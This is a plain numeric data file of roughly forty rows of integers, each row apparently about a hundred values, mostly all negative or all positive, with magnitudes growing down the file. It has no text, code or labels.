-3445 -3372 -9551 -8157 -3634 -9289 -7319 -6181 -3879 -2154 -4832 -5351 -6353 -9315 -8741 -5183 -4388 -4695 -6366 -7848 -3728 -3168 -8992 -3937 -7857 -5884 -5428 -1699 -6333 -9671 -9115 -8243 -3636 -8489 -9211 -6985 -5676 -3911 -2924 -3195 -2251 -3896 -5191 -9516 -5817 -1869 -3541 -4365 -6786 -2353 -6515 -2846 -7385 -3469 -7476 -2765 -8271 -3235 -1154 -6433 -2976 -9253 -8289 -8375 -4755 -9162 -5794 -5458 -9542 -6328 -5727 -1538 -8954 -9569 -8774 -8322 -5347 -8777 -3962 -2817 -7649 -3655 -8376 -7968 -6128 -4354 -8846 -5995 -7394 -2387 -6523 -1974 -2748 -3881 -7844 -7585 -8427 -7566 -4662 -5796
-7521 -5682 -8983 -2739 -9529 -9744 -3726 -9137 -7815 -7852 -6453 -9275 -1232 -4253 -9299 -5544 -7359 -4785 -9835 -2362 -8952 -8179 -9528 -8443 -9277 -1158 -1498 -5811 -7175 -3843 -1814 -3654 -1217 -6443 -4611 -6414 -7995 -6431 -2737 -8678 -2421 -6476 -8768 -5747 -6773 -7325 -5792 -2144 -1811 -4174 -1139 -3432 -4654 -7566 -6453 -9161 -3347 -6485 -1431 -5456 -3196 -6454 -4681 -8637 -7838 -6572 -3964 -9659 -7793 -4866 -8868 -2474 -8185 -2438 -5971 -9148 -8177 -1283 -5315 -5479 -6897 -7798 -2549 -3353 -5228 -4744 -4762 -2525 -9735 -4135 -9458 -7335 -2499 -8988 -2187 -7755 -7391 -6869 -2377 -7719
-5124 -3146 -8184 -6916 -8627 -6111 -2995 -6558 -3416 -8335 -3229 -5735 -3468 -9917 -3891 -8315 -8432 -9321 -1962 -8591 -3254 -3563 -8623 -6672 -1746 -2271 -4496 -9734 -3413 -1533 -1817 -3695 -8521 -1255 -3855 -8461 -7288 -5453 -9388 -3657 -8374 -6658 -2578 -8675 -4873 -4965 -4198 -2489 -8949 -6687 -9789 -3976 -1926 -4416 -8256 -5484 -2143 -8399 -4921 -2566 -7553 -8959 -4194 -5593 -8637 -1179 -1421 -1272 -3282 -7291 -9776 -2185 -1491 -5293 -6932 -1768 -9321 -2219 -5913 -5523 -1658 -2713 -3437 -6249 -6895 -5955 -8554 -9883 -8923 -5671 -7485 -3617 -6509 -5164 -2638 -5429 -3891 -3647 -1177 -7421
-4423 -7572 -6656 -2659 -2231 -9851 -4695 -6879 -8534 -3861 -7381 -2894 -8956 -4551 -4741 -7639 -6424 -5494 -9511 -6522 -8346 -8256 -4786 -4935 -4348 -3525 -2117 -1164 -7424 -6233 -7272 -3154 -8364 -5653 -2263 -7281 -6324 -2299 -6411 -7694 -7252 -1216 -5688 -8489 -1997 -4173 -5821 -4162 -8242 -3317 -9258 -7677 -6848 -1844 -8653 -1927 -2253 -8265 -5672 -5985 -6816 -9698 -5835 -1725 -6971 -5227 -8991 -3542 -4792 -9979 -1434 -3756 -8861 -5484 -2631 -6644 -6249 -3683 -7255 -8211 -3259 -2492 -9763 -6858 -6436 -5844 -8517 -5146 -6489 -6634 -5429 -1285 -1242 -3516 -3543 -2723 -9555 -3896 -5283 -6273
8683 1444 4759 1886 9214 4596 2322 4819 3222 4368 7189 1698 2298 5655 1293 4194 8691 7363 8394 3866 6967 2877 8573 2957 9461 8154 3182 2437 1318 5296 9558 3574 2978 9617 1926 4746 2277 5686 9782 4192 9365 3745 8825 3554 8193 2989 4728 9614 7852 4341 1666 9581 6479 5358 9916 4185 8613 8198 4429 8362 8147 5745 6959 5986 5617 1433 5458 1837 2824 9854 4757 9164 4138 4793 7192 2727 6877 2144 5114 1524 7961 9592 4492 2161 1699 5551 5922 6194 1581 6274 7558 4769 1347 7737 3951 8669 1723 4534 7975 6669
-55926 -94559 -51212 -67237 -67866 -21344 -44977 -59157 -95543 -72931 -21759 -12514 -12812 -85874 -33133 -12628 -22675 -83761 -34715 -56525 -97645 -88249 -91665 -54178 -68561 -61619 -83283 -65481 -19751 -71815 -86755 -73437 -99495 -62249 -24575 -36423 -23865 -94433 -98875 -47433 -71356 -94775 -13963 -15271 -10797 -45457 -24824 -48695 -18778 -66943 -68664 -33459 -75544 -45287 -15223 -59192 -42252 -33462 -35922 -23936 -91281 -74894 -14234 -91931 -94878 -35562 -81259 -52742 -52657 -13888 -52816 -55694 -69277 -17175 -41739 -35734 -62925 -35633 -38749 -43978 -32142 -58256 -94113 -14639 -89823 -35425 -51815 -76735 -15775 -17184 -25828 -42471 -52267 -41653 -27757 -52248 -41145 -25478 -35466 -65685
-2754 -2578 -4979 -9392 -4254 -2216 -6363 -3489 -7759 -4323 -1299 -4311 -3981 -8392 -7684 -1551 -6266 -9826 -3175 -8355 -9991 -4552 -6289 -3339 -9147 -4169 -5627 -5746 -5463 -2299 -1412 -9743 -6573 -4678 -9812 -8954 -4633 -9398 -8313 -9463 -1482 -6442 -6982 -7176 -6259 -9645 -3512 -9462 -4961 -3117 -5392 -9565 -8593 -7719 -6991 -7525 -1994 -2249 -8224 -3963 -2182 -7269 -8355 -2523 -7915 -8733 -3394 -8165 -8687 -1122 -8653 -2744 -5451 -7819 -8113 -5557 -5899 -1348 -2649 -7956 -8811 -3221 -4265 -3617 -5711 -1294 -6766 -3929 -5355 -2592 -6486 -1286 -5779 -4182 -5221 -7365 -2576 -2399 -3354 -6512
-13645 -81857 -14643 -78148 -22895 -91393 -19450 -27728 -13916 -58575 -92445 -32818 -33746 -54632 -55434 -22884 -65688 -33573 -92714 -43182 -47676 -53668 -68988 -66941 -48937 -24757 -28591 -59241 -67877 -73375 -43328 -22344 -95544 -76651 -86842 -55484 -21131 -58561 -95314 -82491 -79827 -13649 -37546 -88114 -86945 -31955 -55225 -72473 -28385 -38763 -54154 -24829 -12552 -41989 -96481 -74497 -79146 -62427 -84522 -16788 -84965 -99813 -98743 -64618 -45759 -98744 -86686 -15759 -26427 -13595 -57982 -83485 -31244 -27881 -55351 -54362 -28347 -34217 -68625 -81174 -97847 -75816 -56422 -41136 -99839 -95556 -47372 -66434 -61635 -32563 -15251 -53438 -32742 -39462 -59212 -45159 -99984 -56391 -21233 -77896
-14674 -61784 -98265 -92499 -38195 -45985 -78793 -11824 -85949 -47882 -72957 -24568 -76797 -29713 -74537 -29522 -88882 -64915 -92754 -13564 -92691 -39364 -64778 -59234 -16379 -84215 -44132 -93359 -33995 -98592 -11222 -65233 -43777 -82663 -19233 -75862 -84763 -63582 -25666 -55186 -27599 -69752 -95331 -45539 -73917 -87677 -44335 -25926 -35518 -79598 -52683 -78523 -28103 -19777 -16224 -35769 -23586 -66147 -36238 -98472 -84438 -84567 -43564 -52229 -49844 -39194 -32549 -34629 -66796 -31888 -67135 -47247 -95947 -87316 -12249 -89881 -55867 -66564 -13393 -24138 -45657 -97154 -56997 -15681 -32484 -63562 -32438 -84789 -29414 -75725 -26898 -92258 -68715 -31495 -15865 -49783 -44181 -85324 -65185 -29473
-26615 -12436 -57574 -58283 -67692 -32632 -23674 -74415 -19495 -86938 -77679 -67497 -34137 -36162 -14855 -36867 -81366 -53986 -61823 -46474 -82476 -48874 -64492 -93794 -12248 -83313 -17232 -86276 -42765 -58575 -96372 -13282 -93766 -78547 -56235 -68187 -82497 -87126 -76219 -27472 -75592 -36695 -21615 -33876 -97968 -46721 -81543 -47743 -21652 -29736 -27896 -32991 -36724 -26661 -32264 -89387 -13952 -37661 -22352 -46719 -85979 -96198 -82485 -58474 -19553 -14786 -82781 -22348 -59847 -65317 -49456 -65676 -47553 -45178 -63735 -52252 -55676 -84767 -18426 -22963 -68986 -14544 -32384 -18922 -36278 -31848 -43618 -14956 -25569 -29662 -34413 -87862 -81914 -98173 -48927 -56334 -26544 -74998 -91671 -77976
38713 76363 21926 76259 61654 31929 35764 91755 85261 32484 12299 38236 15181 51872 92667 76366 63953 85979 91116 85175 97257 26186 15643 26142 17295 78958 59365 52166 95628 14316 81496 89134 61552 96392 93477 49959 79321 43132 78258 82991 44567 61856 53995 14819 79945 37888 28368 58169 15819 23147 21846 31815 39312 13874 46929 98484 99246 49677 28531 59591 24913 11176 71643 58146 73719 18726 55117 37363 19450 35752 36733 38427 86644 34394 44947 71234 12124 69783 86494 35462 88352 64173 85853 37296 12794 22586 68468 97186 77343 38243 71453 35485 68766 28114 21925 63379 36591 77396 12748 84188
-55136 -42341 -58213 -26854 -48744 -76366 -76822 -25676 -82588 -15272 -92124 -53854 -27835 -97377 -65295 -22484 -34293 -99533 -87185 -59567 -87259 -64367 -54491 -48471 -81143 -28193 -57847 -37951 -29669 -38746 -19914 -54317 -33219 -67879 -65681 -95373 -44471 -86345 -99133 -22357 -89152 -24854 -88636 -52179 -61756 -94934 -26295 -65975 -93826 -37654 -71811 -32133 -81497 -25197 -77648 -58118 -16977 -17682 -27759 -51744 -71158 -89232 -57271 -23833 -51621 -57547 -76875 -89864 -78919 -78442 -13298 -68221 -21968 -22578 -77131 -29314 -72819 -23173 -42524 -77155 -28968 -26782 -51282 -67143 -32441 -32851 -28103 -11986 -42965 -35766 -46998 -26116 -43734 -22695 -19296 -81811 -55215 -97476 -17845 -83182
54575 12542 24325 69438 34467 95965 84327 45122 46476 76839 62219 63852 18249 42877 83462 88517 58418 25674 82198 36813 34345 91457 46895 47391 35634 76167 26399 16335 51835 94782 93577 53297 97492 32645 47553 76834 47189 78994 88679 22823 81629 64242 94153 13789 61632 87352 65975 52329 44435 57422 93675 36265 84623 46122 94244 31872 39627 42655 29143 55559 23564 76414 31423 87698 78257 42847 83856 46937 97316 12923 71264 69976 16773 66684 96652 21743 44613 95543 79219 43224 38839 52942 49369 66416 75222 19429 98247 51169 99342 83587 22194 21762 73988 79482 19936 34371 36622 55338 79143 22283
-26659 -46591 -27299 -11594 -38497 -14245 -41379 -34768 -58949 -35366 -61323 -66354 -75384 -64133 -66944 -85194 -31536 -48852 -42153 -37685 -45623 -11254 -49263 -49675 -68493 -97952 -41842 -26869 -39533 -76995 -49111 -54793 -68753 -65376 -31927 -35125 -68848 -55373 -72992 -12218 -32293 -39671 -26742 -91992 -27783 -85936 -45463 -76651 -66799 -21124 -73573 -91938 -43967 -94625 -17351 -75979 -85631 -49719 -11287 -44562 -62375 -73833 -54158 -21168 -86862 -43396 -68278 -71425 -81231 -68697 -72358 -67977 -97968 -45395 -21821 -95724 -33724 -88441 -98157 -32923 -39149 -72867 -53595 -69991 -75656 -37575 -68156 -53431 -75989 -73999 -87831 -52444 -88615 -47443 -26893 -77287 -59243 -92522 -38817 -79698
-59385 -72415 -89395 -28778 -81933 -99938 -41234 -28103 -88735 -67515 -33272 -46611 -97491 -65331 -41597 -58429 -66655 -81991 -25322 -99579 -16177 -34999 -23845 -44523 -54859 -87864 -48942 -42387 -48384 -66164 -24917 -21567 -26242 -58991 -32941 -26555 -85425 -67943 -18526 -93961 -55453 -13852 -63351 -72474 -35335 -51586 -97795 -84593 -52968 -61353 -82694 -46925 -94675 -49762 -61858 -48264 -97543 -93431 -43758 -23251 -36123 -96461 -61963 -56539 -42922 -95982 -65514 -28816 -53599 -46525 -12874 -39326 -42128 -84474 -24945 -47842 -91632 -71526 -89496 -12387 -88494 -72253 -82923 -47799 -57181 -87182 -19118 -34523 -87175 -71348 -38734 -67969 -37129 -66228 -63857 -64973 -37144 -37384 -64415 -45362
-29723 -51377 -24395 -81526 -66155 -76162 -47553 -29388 -26111 -93653 -72916 -75239 -91752 -87641 -18471 -82579 -94748 -29887 -83189 -22246 -97678 -72669 -77663 -71982 -54948 -39471 -83343 -22927 -84178 -86325 -58853 -88859 -13764 -57349 -99895 -32865 -85424 -72329 -97912 -97834 -89313 -81919 -24231 -27524 -71564 -95225 -21648 -73727 -47835 -24935 -65365 -33984 -56515 -81154 -27344 -52268 -73639 -94357 -35453 -19972 -63157 -58669 -75596 -13748 -36535 -83912 -46333 -19953 -96596 -83826 -55628 -63169 -59641 -63598 -19354 -42255 -73312 -74736 -44467 -65295 -72976 -77265 -43578 -89284 -97428 -96599 -66776 -35716 -76129 -68169 -71223 -28677 -85918 -55857 -59245 -22467 -78711 -31469 -27467 -76692
56621 57391 43865 23887 12247 73667 89982 45763 39713 83353 74383 52273 85983 99453 41527 53166 78671 93682 44127 61413 11825 74334 57289 29474 37871 21833 16379 61287 23977 66539 59877 64334 19450 58435 33255 35797 53562 67122 55996 97127 95287 85788 58298 81536 57877 92477 72625 72875 65859 89963 41849 68647 87627 47797 41965 21462 47561 37193 74756 87839 93891 46257 98818 26264 34619 29851 53727 91778 61389 86976 47755 89547 38326 72715 64658 28461 56993 86311 87232 43532 94661 36251 47382 34127 44748 68628 82454 54639 58443 57798 14313 43554 26429 21847 95987 79679 13889 23726 61497 63551
-61668 -29123 -58759 -25364 -57511 -43111 -96639 -78614 -74348 -79799 -26995 -38894 -43761 -92947 -24215 -57582 -94518 -18399 -69762 -28103 -85468 -98858 -36375 -64966 -32929 -45528 -75272 -31473 -56475 -38172 -93453 -44354 -98859 -18139 -16877 -21736 -12696 -23738 -38472 -83995 -66641 -74465 -47419 -84675 -17196 -57623 -97432 -28739 -22655 -55927 -31366 -32953 -43896 -61723 -73981 -21757 -54563 -57512 -29721 -86681 -96888 -47791 -37623 -81713 -49816 -34163 -46429 -22956 -11437 -16637 -84865 -87822 -48278 -26893 -83543 -91333 -77781 -29875 -71518 -58932 -12365 -76433 -39747 -42545 -13943 -47776 -69833 -23327 -14716 -75411 -61646 -98383 -25572 -81955 -63627 -49636 -75487 -85716 -53738 -48148
73578 13686 35992 54245 33231 65867 95312 21137 38446 82636 75372 15332 25715 61938 78591 69641 46157 91428 71242 94315 15225 37649 97497 11682 26376 52773 36321 37471 41257 54184 18567 91239 25877 89349 76875 11211 17355 45811 67233 36365 55755 82852 97447 42212 97962 63344 41987 73492 38257 71596 72926 66141 97658 52641 94673 75297 58935 71199 64599 52842 39842 98774 16495 92292 43635 12953 88937 33283 55279 35495 95673 34283 33647 81517 54921 74526 67436 94473 52131 83992 46441 14343 81264 94354 41856 23365 92347 15233 54448 65147 93523 45712 32425 98627 16582 24692 35448 47553 17326 37437
-61958 -55439 -35961 -17931 -63685 -79351 -35729 -33789 -75656 -95492 -49686 -14327 -92762 -28479 -85622 -45123 -96833 -99256 -36422 -46786 -92811 -55411 -85986 -59921 -74749 -11647 -25259 -93672 -39728 -81858 -48468 -24876 -49335 -82382 -85947 -85365 -79524 -88272 -87582 -84123 -34918 -25891 -45713 -36599 -32629 -33194 -59457 -97993 -36969 -69212 -93945 -57577 -73564 -52177 -55951 -67594 -51682 -66469 -39694 -63899 -86338 -73327 -18242 -23522 -78776 -38733 -82688 -91438 -68315 -47277 -62372 -44994 -54457 -43366 -74659 -25533 -95791 -92844 -15416 -12615 -52558 -46485 -83695 -64572 -63455 -53394 -96412 -47799 -57362 -91574 -41425 -62849 -58643 -62355 -35922 -16949 -66194 -21267 -45255 -36814
673567 417599 768353 682245 636226 277257 229147 497523 954178 649726 997151 911592 776884 328358 322432 784657 434769 776187 234163 989665 862927 244686 333331 154543 123209 456828 374762 689181 963911 291981 972823 481351 566322 494988 962816 711753 727129 785416 341625 947212 472911 375289 773595 747532 436458 293243 528842 156829 984632 191273 713672 729383 931227 314457 246854 847697 621975 458223 742812 219922 755549 532626 455166 539155 851821 529632 178286 693363 434667 629421 786827 659681 359733 558983 477136 414487 132285 566273 777566 317783 247515 372752 763441 558431 259884 295275 756818 527385 473753 527313 262939 256764 313119 237771 845656 125343 113168 226114 188716 926452
62138 28291 39372 69331 72594 61627 31537 76329 92664 26676 61854 58885 79149 45433 95428 76544 47695 49132 58367 69632 96916 99551 58384 42812 62326 77289 24385 91479 19479 28262 98526 26831 87343 16468 63581 24239 95924 47553 51685 64474 77723 76696 43912 78912 54564 59839 17414 79286 27142 19781 17979 29522 84319 25194 92944 11433 34611 25466 71466 71784 66392 82184 28521 76627 93374 34393 53967 82924 59287 74168 99668 93214 68222 74724 15118 92431 23282 68186 43712 39245 77972 54557 73432 81495 53937 35546 89444 61882 21278 54629 54628 42465 96113 37157 84786 12687 49749 87725 58629 59676
726576 969618 526662 222851 135888 861178 352523 883932 215184 684445 170762 378931 363846 612977 137966 484533 145399 379388 219461 673461 881685 652862 779648 263232 182875 117647 173879 815719 364267 293626 618829 855245 281973 568652 435268 263349 145641 199336 664335 775726 998828 525379 929986 812394 937527 596987 759981 697383 499295 782964 781583 316118 326882 439964 719978 216728 767527 778252 246155 159555 932746 569286 352478 445232 766828 762728 338212 472998 347561 632595 754958 243912 362147 118659 742827 438159 198533 248417 678621 214484 526451 727736 278739 994447 337312 745736 565686 428153 875684 774781 515911 431798 522166 914328 362788 528877 193538 757994 448857 553722
616229 922874 264734 554645 995792 911539 673528 782962 425791 162357 447984 772249 218315 543342 435552 397393 654426 381694 161328 726231 425518 494159 786783 467737 488973 282264 788888 766939 422982 149191 632181 588463 898579 864847 718258 848295 635922 756847 469942 571674 455521 988699 396629 826266 195869 631273 581485 692973 628935 136936 324354 667973 799356 619846 955481 517379 469999 616776 537268 394757 263462 181665 151146 626825 289964 166391 217291 831747 491172 825411 597149 671332 513314 878154 986943 822982 915665 357526 747912 782925 794381 841196 594676 337235 371793 553818 943432 447897 671832 347534 757813 558584 913199 775611 685587 939898 698839 977896 478875 433537
-25492 -55426 -55965 -93498 -46164 -23525 -64868 -39945 -45523 -69719 -67841 -84878 -63626 -59899 -37223 -98778 -42193 -13292 -83717 -55233 -58376 -38754 -85421 -54311 -18473 -31357 -58435 -65343 -42119 -86888 -17254 -67247 -69874 -52878 -53515 -74796 -94534 -27267 -65399 -57921 -65424 -38731 -92721 -26413 -29327 -41482 -42822 -56195 -96126 -34676 -28943 -61597 -59217 -38661 -18186 -34949 -56456 -74426 -28976 -26923 -14715 -76919 -54493 -88258 -25664 -67523 -71526 -78655 -85636 -19312 -91544 -76255 -81935 -87689 -85637 -95416 -66357 -39622 -81222 -78562 -11414 -29475 -41291 -85236 -58536 -31678 -51214 -85737 -29567 -41468 -54621 -65116 -38416 -25354 -39285 -52694 -57674 -47553 -15328 -56295
548137 558731 233774 549649 737164 216624 298173 242321 718711 366493 413791 871512 462662 891587 167158 392263 158792 756128 786893 722827 946675 436854 885741 447826 359869 252689 677413 774522 433466 161898 274111 781762 721493 214428 312381 151324 862648 638323 776496 328543 317376 536297 315713 749179 868949 982172 697851 867126 361969 582695 388539 429392 592928 346785 441918 432378 266328 761718 247567 659288 568579 274225 753869 195648 383471 616496 857459 334611 937171 554534 170762 137892 119898 797475 746689 683442 659369 289186 399877 793564 526223 253167 337836 224283 234935 361291 344317 613288 769342 681791 439399 442979 399151 523997 898865 753688 594468 698484 947536 499646
-717184 -974253 -461716 -989788 -944786 -756711 -763313 -253341 -413557 -755222 -163533 -961515 -138877 -611273 -997242 -589368 -496512 -488398 -912598 -843482 -985294 -772636 -926489 -789485 -778449 -718415 -951954 -331351 -542253 -271115 -562435 -497296 -521229 -743979 -782623 -968224 -662533 -346466 -945147 -962148 -515535 -815798 -668512 -421132 -259935 -211597 -134341 -555952 -784121 -318616 -817944 -625649 -358955 -176433 -853545 -542892 -413383 -461588 -316554 -145837 -348633 -167625 -942222 -955523 -687378 -183476 -828646 -318459 -731742 -614784 -134287 -923742 -832369 -786625 -243685 -331773 -618169 -554271 -359232 -218315 -892915 -328237 -778817 -263264 -198546 -171136 -876519 -538838 -118158 -797552 -491384 -835258 -758722 -258343 -296552 -243766 -579614 -388648 -552374 -886993
-36819 -36285 -73481 -46344 -62544 -29446 -75366 -61832 -34847 -98639 -62143 -65533 -81839 -47993 -62615 -48583 -97942 -49491 -72782 -38347 -75496 -13888 -79936 -33535 -76955 -43732 -84479 -13518 -92158 -38638 -15237 -61662 -18558 -75662 -91651 -91684 -73927 -74115 -64761 -59631 -26318 -68245 -51419 -27487 -99535 -35839 -85432 -33518 -76916 -57847 -67914 -74635 -31483 -43538 -84121 -58243 -77926 -12642 -27627 -67978 -72987 -71324 -69832 -64413 -81488 -97542 -66417 -25678 -47553 -18721 -28481 -65495 -66217 -12236 -72773 -54544 -25456 -19249 -72763 -55699 -86962 -56789 -49928 -32217 -82818 -46349 -57819 -41524 -55931 -21618 -58197 -69992 -46285 -53747 -22935 -77517 -94819 -67634 -52648 -28395
-234332 -863312 -631812 -573154 -199417 -553457 -969571 -539732 -972872 -137279 -423884 -382291 -366341 -421848 -928463 -292954 -789533 -775487 -481133 -231989 -695367 -517123 -996168 -265868 -115789 -643256 -963794 -927818 -436215 -812467 -242673 -317125 -754125 -238338 -673672 -895713 -833678 -345692 -125417 -699488 -693651 -312475 -565739 -435151 -644279 -587816 -772982 -525322 -793946 -486617 -614442 -242959 -817117 -224496 -839383 -495776 -441967 -938839 -495272 -813765 -153588 -781687 -884684 -386852 -933369 -441417 -738593 -665829 -927941 -259671 -198341 -975167 -923788 -351238 -987783 -458981 -858766 -338359 -712883 -471584 -964643 -189521 -567668 -443285 -138179 -492611 -351431 -155184 -461689 -724749 -784224 -783717 -411413 -989962 -118269 -532469 -874992 -752695 -931871 -769322
-411549 -682559 -251678 -463997 -339325 -446351 -974796 -378599 -652294 -127139 -796784 -235116 -546157 -563254 -264849 -211588 -324312 -177933 -999929 -892384 -732887 -986458 -767754 -957788 -229294 -215154 -153262 -148884 -521477 -282938 -981927 -196972 -851918 -754768 -645313 -639491 -627232 -353194 -938936 -597934 -743859 -123262 -436282 -129542 -394751 -133472 -313421 -885491 -169364 -775439 -788683 -263243 -967592 -241983 -397732 -225135 -559994 -868923 -412334 -956216 -851731 -135655 -614139 -626173 -935831 -228561 -145575 -468518 -183563 -758683 -985147 -939251 -113185 -458788 -884198 -311439 -165919 -759449 -321381 -867488 -535773 -418462 -991317 -626579 -289688 -175188 -349679 -152786 -196776 -294429 -421289 -139477 -322117 -721476 -664515 -125224 -186547 -118113 -355827 -648257
13482 56937 89826 32145 48965 14374 67247 42185 59226 26348 33327 47553 49452 19412 86512 67917 89385 74391 13575 65687 21323 34693 24421 58578 29697 48671 11884 77552 93796 41756 87161 59674 92463 12297 91581 69361 53189 61117 96332 36864 73283 47567 96467 76384 94978 56321 98927 19734 13561 13626 18346 77727 29857 84333 28931 74826 29863 43874 48361 27416 62651 97325 27875 56854 59763 32859 67341 87468 39955 28715 35929 94665 89496 84129 78463 47396 17785 49565 95152 44823 97666 51327 57842 42546 33221 62372 12952 32872 32585 77877 47884 66726 87982 17484 42373 45526 36876 94721 75772 46331
-378946 -633386 -824124 -881419 -341559 -871314 -178379 -213348 -648657 -594418 -756121 -286464 -687118 -448151 -465788 -717771 -749155 -387864 -346351 -529269 -961384 -931351 -111245 -871796 -462252 -936744 -228738 -134392 -648176 -414818 -962777 -379122 -488644 -359576 -529973 -441563 -789323 -537169 -197924 -368714 -567252 -634647 -631221 -461735 -983695 -634844 -898767 -617784 -244768 -791448 -677351 -642686 -139124 -435222 -916177 -517634 -677736 -712747 -745949 -244447 -364133 -943924 -189169 -965572 -432582 -837288 -234391 -676647 -572149 -748598 -528532 -957815 -621541 -668977 -623882 -414511 -296476 -878296 -419241 -271679 -732646 -354148 -427543 -471845 -271348 -159217 -887563 -189684 -744458 -265868 -192265 -296496 -763796 -619115 -919427 -733775 -828577 -947736 -385492 -337934
-167297 -359562 -773692 -391717 -976156 -362356 -475716 -537181 -425312 -976459 -387321 -191375 -236975 -342433 -488429 -268794 -195128 -799154 -927272 -591679 -218315 -617192 -669633 -196888 -521973 -716789 -839286 -738272 -928699 -656723 -828424 -522752 -891848 -178234 -774135 -367887 -438621 -928877 -885669 -132552 -356361 -819894 -961842 -433884 -813976 -473638 -523169 -485459 -142176 -459969 -958749 -552135 -414216 -968564 -385697 -585567 -156666 -173415 -261615 -283857 -384791 -711655 -312222 -435877 -243896 -376555 -489172 -477215 -336113 -144389 -887424 -264157 -786123 -216647 -636377 -249726 -963175 -266396 -459889 -365126 -311953 -284162 -973318 -289443 -523396 -539646 -335179 -447358 -612765 -871187 -714619 -347242 -662373 -342596 -987965 -821411 -983844 -397779 -844958 -554737
-68531 -64798 -34379 -39456 -41251 -11419 -67932 -65488 -75587 -62967 -75825 -43354 -95262 -72858 -28667 -17376 -38156 -44922 -81854 -48635 -66525 -48145 -35585 -85292 -98816 -57844 -64899 -75784 -51828 -16212 -75714 -66956 -49528 -85212 -53822 -31877 -86178 -78869 -27636 -84219 -38578 -66163 -98244 -14117 -84164 -53819 -32438 -56699 -58979 -84222 -73486 -92178 -62113 -43216 -15734 -68686 -16329 -57724 -12471 -33233 -27991 -82246 -36689 -44353 -87685 -13535 -16245 -78483 -91295 -36353 -55543 -64889 -47974 -19179 -37284 -83115 -61668 -34494 -61696 -23415 -34996 -94457 -12316 -63119 -58866 -79935 -29139 -16192 -15633 -94999 -77198 -47553 -59141 -84197 -24643 -27885 -42279 -62144 -42399 -38237
-617387 -949945 -455824 -971727 -170762 -223361 -519144 -316953 -291786 -178836 -291212 -121434 -357792 -432214 -755486 -275674 -242315 -785192 -649633 -439867 -312146 -345833 -795882 -992774 -927769 -326152 -848853 -683533 -266842 -148755 -413632 -927777 -465551 -741198 -669177 -649815 -115251 -397113 -114823 -959966 -944913 -739162 -751219 -275481 -173778 -941497 -825975 -713671 -339682 -617641 -246242 -521328 -984922 -284417 -771377 -748248 -346249 -666937 -876914 -274746 -236142 -963745 -212377 -283412 -285145 -153274 -484867 -965879 -829775 -525792 -291588 -994378 -999684 -256926 -858992 -628771 -821129 -142664 -636816 -528467 -151367 -769941 -222924 -965879 -473145 -197196 -551685 -797339 -991982 -315598 -918392 -965982 -476873 -341216 -662341 -794844 -823373 -912473 -433815 -645358
-298795 -287691 -457825 -745129 -484839 -662883 -466434 -466877 -556495 -983228 -143657 -141923 -266774 -266345 -428587 -875576 -152322 -345419 -494836 -985268 -316931 -545159 -287739 -234754 -788543 -453184 -159586 -665522 -763514 -695178 -999739 -358267 -517687 -991253 -237129 -971351 -915254 -364772 -863265 -268462 -663548 -174968 -618982 -442999 -149331 -699671 -932298 -225979 -417259 -897345 -194914 -618792 -761585 -482177 -173725 -572348 -958575 -948367 -248617 -447978 -756328 -548947 -799855 -351926 -839281 -636119 -917948 -987349 -561827 -722423 -735714 -694528 -649924 -892146 -173981 -432261 -961692 -191747 -169186 -732727 -764653 -777493 -623297 -847525 -614377 -333666 -218315 -197548 -251448 -542159 -259668 -248524 -387435 -444587 -644576 -686288 -371694 -984894 -939727 -354944
-659542 -737799 -262281 -812218 -389077 -278397 -774685 -547737 -434977 -436921 -493583 -794557 -783826 -616631 -497653 -584366 -254468 -673768 -536575 -137455 -431139 -162622 -576928 -546417 -466177 -127269 -288127 -895874 -525799 -651668 -158337 -924765 -176612 -595789 -191139 -978195 -256848 -947464 -782474 -728981 -158425 -843956 -973331 -622639 -344994 -491499 -142457 -438763 -833657 -864678 -197837 -476476 -659636 -596831 -584874 -875932 -927686 -499797 -923287 -582683 -722223 -842425 -317774 -397644 -766977 -126184 -371497 -423165 -898763 -283726 -579615 -824591 -636129 -595336 -923814 -331748 -965832 -445736 -645231 -797481 -669272 -171711 -887294 -481553 -441422 -182362 -299695 -721983 -943976 -248625 -164885 -694271 -895862 -213614 -837334 -839156 -145256 -486993 -334965 -467384
-574577 -127334 -974864 -788214 -773435 -486148 -358826 -567395 -893191 -161149 -864399 -345967 -774624 -335771 -246464 -687773 -166693 -567472 -592677 -571117 -371191 -328395 -685668 -351343 -295551 -942653 -896375 -465678 -251823 -352275 -567175 -298813 -193117 -956728 -786633 -898734 -796146 -684166 -215864 -488532 -429284 -277627 -166941 -466722 -661354 -983475 -443392 -692925 -648371 -256417 -784547 -135763 -576169 -626953 -247441 -849278 -461974 -949875 -255974 -429625 -513143 -312392 -856983 -438629 -315727 -972166 -812178 -219694 -762887 -779979 -592363 -149148 -958389 -607392 -466579 -988345 -379699 -549284 -637518 -715619 -729352 -223617 -996566 -356214 -435584 -973926 -881145 -474136 -519656 -888847 -276378 -519531 -324869 -392844 -645348 -466239 -515347 -672266 -752856 -988184
-981188 -857231 -193435 -145775 -142654 -586231 -572131 -717518 -693597 -483189 -276489 -342382 -166999 -579848 -975148 -927737 -287131 -227114 -637997 -139839 -299399 -395354 -559743 -424712 -695651 -649754 -793616 -229741 -725493 -318936 -937875 -949879 -516238 -999129 -259935 -631668 -332441 -381667 -727317 -424265 -653794 -462161 -921186 -955529 -966474 -232513 -744613 -749447 -996469 -545145 -416778 -688153 -211148 -583428 -794631 -451769 -362717 -674676 -139577 -494289 -894975 -879487 -474189 -133219 -335456 -438432 -729741 -488475 -631235 -668146 -237226 -168576 -996943 -795414 -815226 -942398 -499582 -497473 -661164 -421423 -364344 -535955 -493727 -917349 -591534 -375287 -678798 -885645 -723743 -874323 -532993 -829583 -421567 -955717 -732882 -892539 -158591 -642229 -523387 -648726
-5238886 -1578692 -3913931 -6131129 -5249331 -8746447 -4693448 -4189391 -9272136 -8858762 -2853164 -3147286 -6118318 -8186226 -7327588 -8193188 -3969766 -8617146 -4899969 -6429921 -6143612 -4398616 -4982739 -8937393 -5771725 -4635793 -6822896 -3868275 -8833617 -2542949 -9471329 -7182138 -3249748 -7975978 -3981471 -2935767 -4949549 -6739856 -9818579 -1181219 -1782214 -9248379 -2246643 -8764535 -9389412 -7334956 -6985475 -9328266 -7214216 -9734733 -1243844 -3667722 -1318921 -3815842 -7755928 -6839181 -9595166 -8393547 -7441462 -6796328 -9317325 -5179645 -4595718 -1854853 -2396418 -8186556 -3365248 -9273517 -9475759 -1991631 -8126768 -5386175 -4161458 -8472336 -9945376 -6587362 -6593989 -1523496 -1726551 -2921814 -6594649 -7315316 -5518889 -1486311 -3924279 -2162443 -7722555 -7295861 -8185477 -2923482 -4445571 -1615624 -1603861 -4848198 -4465338 -9281572 -2967234 -3523387 -6476383 -6574232
